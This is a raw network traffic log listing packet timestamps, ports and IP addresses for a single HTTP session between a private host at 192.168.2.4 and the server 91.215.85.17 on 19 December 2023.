Dec 19, 2023 03:22:27.484986067 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485037088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485069990 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485080004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485111952 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485126019 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485155106 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485188961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485210896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485254049 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485281944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485335112 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485347033 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485379934 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485394955 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485404015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485420942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485452890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485452890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485476017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485510111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485536098 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485549927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485569954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485624075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485624075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485625029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485639095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485670090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485680103 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485699892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485749006 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485758066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485771894 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485785961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485816002 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485816002 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485816956 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485831022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485845089 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485866070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485910892 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485929012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485943079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485958099 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.485991001 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485991001 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485991001 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.485991001 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.486022949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486041069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486052990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486085892 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.486085892 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.486085892 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.486100912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486124039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486135006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486164093 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.486166954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486183882 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.486221075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486224890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.486259937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486290932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486316919 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.486316919 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.486320972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486356020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486391068 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.486413956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486453056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486475945 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486498117 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.486515045 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.486577034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486617088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486651897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486669064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486669064 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.486732006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486779928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486797094 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.486797094 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.486826897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486872911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486896992 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.486942053 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486958981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486970901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.486993074 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.486993074 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487013102 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487045050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487060070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487076044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487090111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487099886 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487099886 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487121105 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487123966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487142086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487181902 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487181902 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487190008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487204075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487236023 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487247944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487262011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487277985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487322092 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487322092 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487410069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487421989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487435102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487471104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487488031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487510920 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487510920 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487529039 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487565994 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487577915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487590075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487602949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487620115 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487620115 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487653971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487672091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487685919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487699986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487734079 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487734079 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487734079 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487757921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487793922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487806082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487874031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487890959 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487890959 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487890959 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487907887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.487936020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.487965107 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488003016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488004923 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488004923 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488044977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488045931 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488090992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488104105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488125086 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488125086 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488154888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488158941 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488169909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488187075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488204956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488255024 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488255024 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488255024 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488261938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488279104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488306999 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488329887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488346100 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488363028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488374949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488390923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488404036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488413095 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488413095 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488445044 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488476038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488492966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488502979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488537073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488554001 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488570929 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488570929 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488570929 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488586903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488586903 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488606930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488622904 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488636971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488636971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488657951 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488675117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488702059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488749027 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488763094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488775015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488790989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488821983 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488821983 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488843918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488854885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488864899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488882065 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488913059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.488933086 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488933086 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488933086 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.488933086 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489001036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489012957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489022970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489039898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489048958 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489058018 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489073038 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489073038 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489094019 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489103079 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489161968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489190102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489216089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489223957 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489223957 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489240885 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489255905 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489305019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489315987 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489346027 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489346027 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489346027 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489371061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489391088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489414930 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489427090 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489439964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489455938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489468098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489507914 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489511967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489550114 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489562035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489595890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489595890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489613056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489625931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489665031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489664078 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489665031 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489697933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489758968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489764929 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489809036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489828110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489850998 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489867926 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489881039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489898920 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489936113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489947081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.489976883 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.489976883 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490010023 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490021944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490048885 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490061998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490067959 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490082026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490113974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490118980 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490149975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490185022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490199089 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490242004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490258932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490264893 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490278006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490289927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490308046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490309954 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490385056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490430117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490448952 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490448952 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490454912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490468025 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490472078 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490472078 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490483999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490494967 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490500927 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490519047 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490520000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490519047 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490547895 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490562916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490578890 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490596056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490624905 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490644932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490694046 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490694046 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490701914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490714073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490768909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490781069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490786076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490786076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490812063 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490812063 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.490816116 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490860939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490919113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.490925074 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.491038084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.491108894 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.491149902 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.491189957 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.491218090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.491271973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.491318941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.491324902 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.491384029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.491425037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.491445065 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.491471052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.491483927 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.491522074 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.491594076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.491622925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.491653919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.491704941 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.491717100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.491755009 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.491771936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.491828918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.491894960 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.491938114 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.491967916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.492023945 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.492031097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.492060900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.492080927 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.492124081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.492167950 CET	80	49738	91.215.85.17	192.168.2.4
